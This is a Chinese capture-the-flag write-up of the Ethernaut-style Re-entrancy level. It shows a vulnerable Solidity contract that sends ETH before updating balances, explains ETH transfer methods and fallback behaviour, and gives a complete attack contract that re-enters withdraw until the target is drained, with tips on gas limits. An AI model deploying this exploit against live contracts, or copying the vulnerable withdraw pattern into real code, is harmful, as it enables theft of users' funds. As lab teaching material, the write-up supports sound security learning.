Skip to main content

Re-entrancy

重入攻击

这一关的目标是转走合约的所有资产.

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

知识点:

  1. 从合约里给一个地址转 ETH,有三种方法
  • transfer: 会携带 2300 gas,如果失败会直接 revert
  • send: 会携带 2300 gas,返回一个 bool 值标记成功或失败
  • call: 会发送所有剩余的 gas,返回(bool success, bytes memory data),如果调用的是合约,合约的返回值会在 data 中体现
  1. 如果一个合约想要接收 ETH,需要实现fallback()receive()方法。
  2. 如果调用合约中不存在的函数,并且合约中有实现fallback()方法,则会自动进入fallback()方法

攻击点: withdraw的时候,msg.sender如果是个合约,在合约中写入恶意的fallback()receive()方法,然后再利用递归调用。反复的执行 withdraw 的 call 方法。则可以实现重入攻击

递归调用原理

攻击合约示例


contract HackReentrance {
address payable reentrance;
constructor(address payable _reentrance) public {
reentrance = _reentrance;
}

function donate() external payable {
Reentrance(reentrance).donate{value: msg.value}(address(this));
}

function withdraw(uint256 _amount) external {
Reentrance(reentrance).withdraw(_amount);
}

function getReentranceBalance() external view returns(uint256) {
return reentrance.balance;
}

receive() external payable {
if(reentrance.balance != 0) {
Reentrance(reentrance).withdraw(msg.value);
}
}
}

这里要注意每次提现的金额和 gasLimit。如果每次提款金额很小,递归深度太深。导致 gas 消耗完以后程序会退出,提款提不干净。